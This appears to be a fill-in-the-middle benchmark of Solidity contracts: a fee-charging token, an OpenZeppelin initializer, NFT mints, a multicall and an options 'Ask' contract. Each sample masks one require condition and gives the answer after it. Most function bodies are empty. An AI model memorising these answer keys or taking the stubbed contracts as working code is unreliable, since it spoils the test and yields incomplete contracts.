event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Magic8Ball is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
mapping(address => bool) public isBot;
string private _name = "Magic8Ball";
string private _symbol = "$M8Ball";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1_000_000_000_000 * 1e9;
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
IDexRouter public dexRouter;
address public dexPair;
address public marketingWallet;
address public liquidityReceiverWallet;
uint256 public minTokenToSwap = _totalSupply.div(1e5); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = _totalSupply.div(100); // this is the max wallet holding limit
uint256 public maxTxnLimit = _totalSupply.div(100); // this is the max transaction limit
uint256 public percentDivider = 1000;
uint256 public snipingTime = 60 seconds;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus = true; // enable by default
bool public trading; // once enable can't be disable afterwards
uint256 public liquidityFeeOnBuying = 10; // 1% will be added to the liquidity
uint256 public marketingFeeOnBuying = 40; // 4% will be added to the marketing address
uint256 public liquidityFeeOnSelling = 10; // 1% will be added to the liquidity
uint256 public marketingFeeOnSelling = 40; // 4% will be added to the marketing address
uint256 liquidityFeeCounter = 0;
uint256 marketingFeeCounter = 0;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function includeOrExcludeFromFee(address account, bool value)
external
onlyOwner
{
}
function includeOrExcludeFromMaxTxn(address[] memory holders, bool exempt)
external
onlyOwner
{
}
function includeOrExcludeFromMaxHolding(address account, bool value)
external
onlyOwner
{
}
function addOrRemoveBots(address[] memory accounts, bool exempt)
external
onlyOwner
{
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _lwFee, uint256 _marketingFee)
external
onlyOwner
{
}
function setSellFeePercent(uint256 _lwFee, uint256 _marketingFee)
external
onlyOwner
{
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function updateAddresses(address _marketingWallet, address _liquidityReceiverWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: Amount must be greater than zero");
require(!isBot[from], "ERC20: Bot detected");
if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
require(amount <= maxTxnLimit, "ERC20: max txn limit exceeds");
// trading disable till launch
if (!trading) {
require(
dexPair != from && dexPair != to,
"ERC20: trading is disable"
);
}
// antibot
if (
block.timestamp < launchedAt + snipingTime &&
from != address(dexRouter)
) {
if (dexPair == from) {
isBot[to] = true;
} else if (dexPair == to) {
isBot[from] = true;
}
}
}
if (!isExcludedFromMaxHolding[to]) {
require(<FILL_ME>)
}
// swap and liquify
distributeAndLiquify(from, to);
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to isExcludedFromFee account then remove the fee
if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
function setFeeCountersOnBuying(uint256 amount) private {
}
function setFeeCountersOnSelling(uint256 amount) private {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for doing a swap on Dex
library Utils {
using SafeMath for uint256;
function swapTokensForEth(address routerAddress, uint256 tokenAmount)
internal
{
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
| balanceOf(to).add(amount)<=maxHoldLimit,"ERC20: max hold limit exceeds" | 184,469 | balanceOf(to).add(amount)<=maxHoldLimit |
"Initializable: contract is already initialized" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.1) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.2;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* The initialization functions use a version number. Once a version number is used, it is consumed and cannot be
* reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in
* case an upgrade adds a module that needs to be initialized.
*
* For example:
*
* [.hljs-theme-light.nopadding]
* ```
* contract MyToken is ERC20Upgradeable {
* function initialize() initializer public {
* __ERC20_init("MyToken", "MTK");
* }
* }
* contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {
* function initializeV2() reinitializer(2) public {
* __ERC20Permit_init("MyToken");
* }
* }
* ```
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke
* the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() {
* _disableInitializers();
* }
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
* @custom:oz-retyped-from bool
*/
uint8 private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Triggered when the contract has been initialized or reinitialized.
*/
event Initialized(uint8 version);
/**
* @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,
* `onlyInitializing` functions can be used to initialize parent contracts.
*
* Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a
* constructor.
*
* Emits an {Initialized} event.
*/
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(<FILL_ME>)
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
/**
* @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the
* contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be
* used to initialize parent contracts.
*
* A reinitializer may be used after the original initialization step. This is essential to configure modules that
* are added through upgrades and that require initialization.
*
* When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`
* cannot be nested. If one is invoked in the context of another, execution will revert.
*
* Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in
* a contract, executing them in the right order is up to the developer or operator.
*
* WARNING: setting the version to 255 will prevent any future reinitialization.
*
* Emits an {Initialized} event.
*/
modifier reinitializer(uint8 version) {
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} and {reinitializer} modifiers, directly or indirectly.
*/
modifier onlyInitializing() {
}
/**
* @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.
* Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized
* to any version. It is recommended to use this to lock implementation contracts that are designed to be called
* through proxies.
*
* Emits an {Initialized} event the first time it is successfully executed.
*/
function _disableInitializers() internal virtual {
}
/**
* @dev Returns the highest version that has been initialized. See {reinitializer}.
*/
function _getInitializedVersion() internal view returns (uint8) {
}
/**
* @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.
*/
function _isInitializing() internal view returns (bool) {
}
}
| (isTopLevelCall&&_initialized<1)||(!Address.isContract(address(this))&&_initialized==1),"Initializable: contract is already initialized" | 184,471 | (isTopLevelCall&&_initialized<1)||(!Address.isContract(address(this))&&_initialized==1) |
"No free NFTs left!" | //SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract TheGreatSix is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public MAX_SUPPLY = 6000;
// Public sale
uint256 public PRICE =0.08 ether;
uint256 public _lastNFTsMinted=0;
mapping (address => uint256) public VIPAmounts;
string public baseTokenURI;
constructor(string memory baseUR) ERC721("The Great Six", "TGS") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setPublicPrice(uint256 _price) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function mintNFTs(uint256[] memory _tokennft) public payable {
}
function claimFreeNFTsVIP() public {
require(<FILL_ME>)
uint256 _count = VIPAmounts[msg.sender];
VIPAmounts[msg.sender] = 0;
_mintSingleNFTCustom(_count);
}
function getlastNFTsMinted() public view returns(uint256) {
}
function getPrice() public view returns(uint256) {
}
function calculatePrice(uint256 _count) public view returns(uint256) {
}
function _mintSingleNFTCustom(uint256 newTokenID) private {
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
}
function withdraw() public payable onlyOwner {
}
function addToVIPlist (address[] memory _addresses, uint256[] memory _amounts) external onlyOwner {
}
function removeFromVIPlist (address[] memory _addresses) external onlyOwner {
}
}
| VIPAmounts[msg.sender]>0,"No free NFTs left!" | 184,486 | VIPAmounts[msg.sender]>0 |
"INCORRECT_QUANTITY" | pragma solidity 0.8.13;
contract SIXTYNINECLUB is ERC721A, Ownable {
uint256 public constant PRICE = 0.003 ether;
uint16 public constant MAX_SUPPLY = 2222;
uint8 public constant MAX_PER_WALLET = 2;
string private baseUri = "https://gateway.pinata.cloud/ipfs/QmUg3NfghMnCyDYuiC5mDqzia5EzpYhaGo78PHVjxM4itT/";
uint96 private royaltyBasisPoints = 690;
constructor() ERC721A("69 Club", "69CLUB") {}
function soldOut() external view returns (bool) {
}
function numberMinted(address owner) external view returns (uint256) {
}
function mint(uint256 _quantity) external payable {
require(_quantity > 0, "INCORRECT_QUANTITY");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_SUPPLY, "SALE_MAXED");
require(msg.value == PRICE * _quantity, "INCORRECT_ETH");
_safeMint(msg.sender, _quantity);
}
function previewMint(uint256 _quantity) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function setBaseUri(string calldata _baseUri) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setRoyalty(uint96 _royaltyBasisPoints) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function transferFunds() external onlyOwner {
}
}
| _numberMinted(msg.sender)+_quantity<=MAX_PER_WALLET,"INCORRECT_QUANTITY" | 184,497 | _numberMinted(msg.sender)+_quantity<=MAX_PER_WALLET |
"Zero address not allowed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Multicall is AccessControl, ReentrancyGuard {
constructor(address[] memory managers) {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
uint8 length = uint8(managers.length);
for (uint8 i = 0; i < length; i++) {
require(<FILL_ME>)
_setupRole(MANAGER_ROLE, managers[i]);
}
}
modifier onlyManager() {
}
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
function getSelector(address _to, uint _value) public pure returns (bytes memory) {
}
function executeTokenTransferMulticall(address token, address[] calldata targets, uint256[] calldata amounts) external onlyManager nonReentrant returns (bytes[] memory) {
}
function executeMulticall(address[] calldata targets, bytes[] calldata data) external onlyManager nonReentrant returns (bytes[] memory) {
}
}
| managers[i]!=address(0),"Zero address not allowed" | 184,568 | managers[i]!=address(0) |
"Access Denied: Caller is not manager" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Multicall is AccessControl, ReentrancyGuard {
constructor(address[] memory managers) {
}
modifier onlyManager() {
require(<FILL_ME>)
_;
}
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
function getSelector(address _to, uint _value) public pure returns (bytes memory) {
}
function executeTokenTransferMulticall(address token, address[] calldata targets, uint256[] calldata amounts) external onlyManager nonReentrant returns (bytes[] memory) {
}
function executeMulticall(address[] calldata targets, bytes[] calldata data) external onlyManager nonReentrant returns (bytes[] memory) {
}
}
| hasRole(MANAGER_ROLE,msg.sender),"Access Denied: Caller is not manager" | 184,568 | hasRole(MANAGER_ROLE,msg.sender) |
"no option balance" | // SPDX-License-Identifier: UNLICENSED
/**
/@#(@@@@@
@@ @@@
@@
.@@@#
##@@@@@@,
@@@ /@@@&
.@@@ @ @ @@@@
@@@@ @@@@@ @@@@
@@@@ @ @ @@@/
@@@@ @@@
(@@@@#@@@
THE AORI PROTOCOL
*/
pragma solidity ^0.8.13;
import "./OpenZeppelin/IERC20.sol";
import "./AoriSeats.sol";
import "./OpenZeppelin/Ownable.sol";
import "./OpenZeppelin/ReentrancyGuard.sol";
import "./Chainlink/AggregatorV3Interface.sol";
contract Ask is ReentrancyGuard {
address public immutable factory;
address public immutable factoryOwner;
address public immutable maker;
uint256 public immutable USDCPerOPTION;
uint256 public immutable OPTIONSize;
uint256 public immutable fee; // in bps, default is 30 bps
uint256 public immutable feeMultiplier;
uint256 public immutable duration;
uint256 public endingTime;
AoriSeats public immutable AORISEATSADD;
bool public hasEnded = false;
bool public hasBeenFunded = false;
IERC20 public OPTION;
IERC20 public USDC;
uint256 public OPTIONDecimals = 18;
uint256 public USDCDecimals = 6;
uint256 public decimalDiff = (10**OPTIONDecimals) / (10**USDCDecimals);
uint256 public immutable BPS_DIVISOR = 10000;
uint256 public USDCFilled;
event OfferFunded(address maker, uint256 OPTIONSize, uint256 duration);
event Filled(address buyer, uint256 OPTIONAmount, uint256 AmountFilled, bool hasEnded);
event OfferCanceled(address maker, uint256 OPTIONAmount);
constructor(
IERC20 _OPTION,
IERC20 _USDC,
AoriSeats _AORISEATSADD,
address _maker,
uint256 _USDCPerOPTION,
uint256 _fee,
uint256 _feeMultiplier,
uint256 _duration, //in blocks
uint256 _OPTIONSize
) {
}
// release trapped funds
function withdrawTokens(address token) public {
}
/**
Fund the Ask with Aori option ERC20's
*/
function fundContract() public nonReentrant {
}
/**
Partial or complete fill of the offer, with the requirement of trading through a seat
regardless of whether the seat is owned or not.
In the case of not owning the seat, a fee is charged in USDC.
*/
function fill(uint256 amountOfUSDC, uint256 seatId) public nonReentrant {
require(<FILL_ME>)
require(msg.sender != maker && msg.sender != factory, "Cannot take one's own order");
require(!hasEnded, "offer has been previously been cancelled");
require(block.timestamp <= endingTime, "This offer has expired");
require(USDC.balanceOf(msg.sender) >= amountOfUSDC, "Not enough USDC");
require(AORISEATSADD.confirmExists(seatId) && AORISEATSADD.ownerOf(seatId) != address(0x0), "Seat does not exist");
uint256 USDCAfterFee;
uint256 OPTIONToReceive;
uint256 refRate;
if(msg.sender == AORISEATSADD.ownerOf(seatId)) {
//Seat holders receive 0 fees for trading
USDCAfterFee = amountOfUSDC;
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //1eY = (1eX * 1eY) / 1eX
//transfers To the msg.sender
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//transfer to the Msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
} else {
//What the user will receive out of 100 percent in referral fees with a floor of 40
refRate = (AORISEATSADD.getSeatScore(seatId) * 500) + 3500;
//This means for Aori seat governance they should not allow more than 12 seats to be combined at once
uint256 seatScoreFeeInBPS = mulDiv(fee, refRate, BPS_DIVISOR);
//calculating the fee breakdown
uint256 seatTxFee = mulDiv(amountOfUSDC, seatScoreFeeInBPS, BPS_DIVISOR);
uint256 ownerTxFee = mulDiv(amountOfUSDC, fee - seatScoreFeeInBPS, BPS_DIVISOR);
//Calcualting the base tokens to transfer after fees
USDCAfterFee = (amountOfUSDC - (ownerTxFee + seatTxFee));
//And the amount of the quote currency the msg.sender will receive
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //(1e6 * 1e18) / 1e6 = 1e18
//Transfers from the msg.sender
USDC.transferFrom(msg.sender, factoryOwner, ownerTxFee);
USDC.transferFrom(msg.sender, AORISEATSADD.ownerOf(seatId), seatTxFee);
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//Transfers to the msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
//Tracking the volume in the NFT
AORISEATSADD.addTakerVolume(amountOfUSDC, seatId, factory);
}
//Storage
USDCFilled += USDCAfterFee;
if(OPTION.balanceOf(address(this)) == 0) {
hasEnded = true;
}
emit Filled(msg.sender, USDCAfterFee, amountOfUSDC, hasEnded);
}
/**
Cancel this order and refund all remaining tokens
*/
function cancel() public nonReentrant {
}
//Check if the contract is funded still.
function isFunded() public view returns (bool) {
}
//View function to see if this offer still holds one USDC
function isFundedOverOne() public view returns (bool) {
}
function mulDiv(
uint256 x,
uint256 y,
uint256 z
) public pure returns (uint256) {
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
}
/**
Additional view functions
*/
function getCurrentBalance() public view returns (uint256) {
}
function totalUSDCWanted() public view returns (uint256) {
}
}
| isFunded(),"no option balance" | 184,895 | isFunded() |
"offer has been previously been cancelled" | // SPDX-License-Identifier: UNLICENSED
/**
/@#(@@@@@
@@ @@@
@@
.@@@#
##@@@@@@,
@@@ /@@@&
.@@@ @ @ @@@@
@@@@ @@@@@ @@@@
@@@@ @ @ @@@/
@@@@ @@@
(@@@@#@@@
THE AORI PROTOCOL
*/
pragma solidity ^0.8.13;
import "./OpenZeppelin/IERC20.sol";
import "./AoriSeats.sol";
import "./OpenZeppelin/Ownable.sol";
import "./OpenZeppelin/ReentrancyGuard.sol";
import "./Chainlink/AggregatorV3Interface.sol";
contract Ask is ReentrancyGuard {
address public immutable factory;
address public immutable factoryOwner;
address public immutable maker;
uint256 public immutable USDCPerOPTION;
uint256 public immutable OPTIONSize;
uint256 public immutable fee; // in bps, default is 30 bps
uint256 public immutable feeMultiplier;
uint256 public immutable duration;
uint256 public endingTime;
AoriSeats public immutable AORISEATSADD;
bool public hasEnded = false;
bool public hasBeenFunded = false;
IERC20 public OPTION;
IERC20 public USDC;
uint256 public OPTIONDecimals = 18;
uint256 public USDCDecimals = 6;
uint256 public decimalDiff = (10**OPTIONDecimals) / (10**USDCDecimals);
uint256 public immutable BPS_DIVISOR = 10000;
uint256 public USDCFilled;
event OfferFunded(address maker, uint256 OPTIONSize, uint256 duration);
event Filled(address buyer, uint256 OPTIONAmount, uint256 AmountFilled, bool hasEnded);
event OfferCanceled(address maker, uint256 OPTIONAmount);
constructor(
IERC20 _OPTION,
IERC20 _USDC,
AoriSeats _AORISEATSADD,
address _maker,
uint256 _USDCPerOPTION,
uint256 _fee,
uint256 _feeMultiplier,
uint256 _duration, //in blocks
uint256 _OPTIONSize
) {
}
// release trapped funds
function withdrawTokens(address token) public {
}
/**
Fund the Ask with Aori option ERC20's
*/
function fundContract() public nonReentrant {
}
/**
Partial or complete fill of the offer, with the requirement of trading through a seat
regardless of whether the seat is owned or not.
In the case of not owning the seat, a fee is charged in USDC.
*/
function fill(uint256 amountOfUSDC, uint256 seatId) public nonReentrant {
require(isFunded(), "no option balance");
require(msg.sender != maker && msg.sender != factory, "Cannot take one's own order");
require(<FILL_ME>)
require(block.timestamp <= endingTime, "This offer has expired");
require(USDC.balanceOf(msg.sender) >= amountOfUSDC, "Not enough USDC");
require(AORISEATSADD.confirmExists(seatId) && AORISEATSADD.ownerOf(seatId) != address(0x0), "Seat does not exist");
uint256 USDCAfterFee;
uint256 OPTIONToReceive;
uint256 refRate;
if(msg.sender == AORISEATSADD.ownerOf(seatId)) {
//Seat holders receive 0 fees for trading
USDCAfterFee = amountOfUSDC;
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //1eY = (1eX * 1eY) / 1eX
//transfers To the msg.sender
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//transfer to the Msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
} else {
//What the user will receive out of 100 percent in referral fees with a floor of 40
refRate = (AORISEATSADD.getSeatScore(seatId) * 500) + 3500;
//This means for Aori seat governance they should not allow more than 12 seats to be combined at once
uint256 seatScoreFeeInBPS = mulDiv(fee, refRate, BPS_DIVISOR);
//calculating the fee breakdown
uint256 seatTxFee = mulDiv(amountOfUSDC, seatScoreFeeInBPS, BPS_DIVISOR);
uint256 ownerTxFee = mulDiv(amountOfUSDC, fee - seatScoreFeeInBPS, BPS_DIVISOR);
//Calcualting the base tokens to transfer after fees
USDCAfterFee = (amountOfUSDC - (ownerTxFee + seatTxFee));
//And the amount of the quote currency the msg.sender will receive
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //(1e6 * 1e18) / 1e6 = 1e18
//Transfers from the msg.sender
USDC.transferFrom(msg.sender, factoryOwner, ownerTxFee);
USDC.transferFrom(msg.sender, AORISEATSADD.ownerOf(seatId), seatTxFee);
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//Transfers to the msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
//Tracking the volume in the NFT
AORISEATSADD.addTakerVolume(amountOfUSDC, seatId, factory);
}
//Storage
USDCFilled += USDCAfterFee;
if(OPTION.balanceOf(address(this)) == 0) {
hasEnded = true;
}
emit Filled(msg.sender, USDCAfterFee, amountOfUSDC, hasEnded);
}
/**
Cancel this order and refund all remaining tokens
*/
function cancel() public nonReentrant {
}
//Check if the contract is funded still.
function isFunded() public view returns (bool) {
}
//View function to see if this offer still holds one USDC
function isFundedOverOne() public view returns (bool) {
}
function mulDiv(
uint256 x,
uint256 y,
uint256 z
) public pure returns (uint256) {
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
}
/**
Additional view functions
*/
function getCurrentBalance() public view returns (uint256) {
}
function totalUSDCWanted() public view returns (uint256) {
}
}
| !hasEnded,"offer has been previously been cancelled" | 184,895 | !hasEnded |
"Not enough USDC" | // SPDX-License-Identifier: UNLICENSED
/**
/@#(@@@@@
@@ @@@
@@
.@@@#
##@@@@@@,
@@@ /@@@&
.@@@ @ @ @@@@
@@@@ @@@@@ @@@@
@@@@ @ @ @@@/
@@@@ @@@
(@@@@#@@@
THE AORI PROTOCOL
*/
pragma solidity ^0.8.13;
import "./OpenZeppelin/IERC20.sol";
import "./AoriSeats.sol";
import "./OpenZeppelin/Ownable.sol";
import "./OpenZeppelin/ReentrancyGuard.sol";
import "./Chainlink/AggregatorV3Interface.sol";
contract Ask is ReentrancyGuard {
address public immutable factory;
address public immutable factoryOwner;
address public immutable maker;
uint256 public immutable USDCPerOPTION;
uint256 public immutable OPTIONSize;
uint256 public immutable fee; // in bps, default is 30 bps
uint256 public immutable feeMultiplier;
uint256 public immutable duration;
uint256 public endingTime;
AoriSeats public immutable AORISEATSADD;
bool public hasEnded = false;
bool public hasBeenFunded = false;
IERC20 public OPTION;
IERC20 public USDC;
uint256 public OPTIONDecimals = 18;
uint256 public USDCDecimals = 6;
uint256 public decimalDiff = (10**OPTIONDecimals) / (10**USDCDecimals);
uint256 public immutable BPS_DIVISOR = 10000;
uint256 public USDCFilled;
event OfferFunded(address maker, uint256 OPTIONSize, uint256 duration);
event Filled(address buyer, uint256 OPTIONAmount, uint256 AmountFilled, bool hasEnded);
event OfferCanceled(address maker, uint256 OPTIONAmount);
constructor(
IERC20 _OPTION,
IERC20 _USDC,
AoriSeats _AORISEATSADD,
address _maker,
uint256 _USDCPerOPTION,
uint256 _fee,
uint256 _feeMultiplier,
uint256 _duration, //in blocks
uint256 _OPTIONSize
) {
}
// release trapped funds
function withdrawTokens(address token) public {
}
/**
Fund the Ask with Aori option ERC20's
*/
function fundContract() public nonReentrant {
}
/**
Partial or complete fill of the offer, with the requirement of trading through a seat
regardless of whether the seat is owned or not.
In the case of not owning the seat, a fee is charged in USDC.
*/
function fill(uint256 amountOfUSDC, uint256 seatId) public nonReentrant {
require(isFunded(), "no option balance");
require(msg.sender != maker && msg.sender != factory, "Cannot take one's own order");
require(!hasEnded, "offer has been previously been cancelled");
require(block.timestamp <= endingTime, "This offer has expired");
require(<FILL_ME>)
require(AORISEATSADD.confirmExists(seatId) && AORISEATSADD.ownerOf(seatId) != address(0x0), "Seat does not exist");
uint256 USDCAfterFee;
uint256 OPTIONToReceive;
uint256 refRate;
if(msg.sender == AORISEATSADD.ownerOf(seatId)) {
//Seat holders receive 0 fees for trading
USDCAfterFee = amountOfUSDC;
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //1eY = (1eX * 1eY) / 1eX
//transfers To the msg.sender
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//transfer to the Msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
} else {
//What the user will receive out of 100 percent in referral fees with a floor of 40
refRate = (AORISEATSADD.getSeatScore(seatId) * 500) + 3500;
//This means for Aori seat governance they should not allow more than 12 seats to be combined at once
uint256 seatScoreFeeInBPS = mulDiv(fee, refRate, BPS_DIVISOR);
//calculating the fee breakdown
uint256 seatTxFee = mulDiv(amountOfUSDC, seatScoreFeeInBPS, BPS_DIVISOR);
uint256 ownerTxFee = mulDiv(amountOfUSDC, fee - seatScoreFeeInBPS, BPS_DIVISOR);
//Calcualting the base tokens to transfer after fees
USDCAfterFee = (amountOfUSDC - (ownerTxFee + seatTxFee));
//And the amount of the quote currency the msg.sender will receive
OPTIONToReceive = mulDiv(USDCAfterFee, 10**OPTIONDecimals, USDCPerOPTION); //(1e6 * 1e18) / 1e6 = 1e18
//Transfers from the msg.sender
USDC.transferFrom(msg.sender, factoryOwner, ownerTxFee);
USDC.transferFrom(msg.sender, AORISEATSADD.ownerOf(seatId), seatTxFee);
USDC.transferFrom(msg.sender, maker, USDCAfterFee);
//Transfers to the msg.sender
OPTION.transfer(msg.sender, OPTIONToReceive);
//Tracking the volume in the NFT
AORISEATSADD.addTakerVolume(amountOfUSDC, seatId, factory);
}
//Storage
USDCFilled += USDCAfterFee;
if(OPTION.balanceOf(address(this)) == 0) {
hasEnded = true;
}
emit Filled(msg.sender, USDCAfterFee, amountOfUSDC, hasEnded);
}
/**
Cancel this order and refund all remaining tokens
*/
function cancel() public nonReentrant {
}
//Check if the contract is funded still.
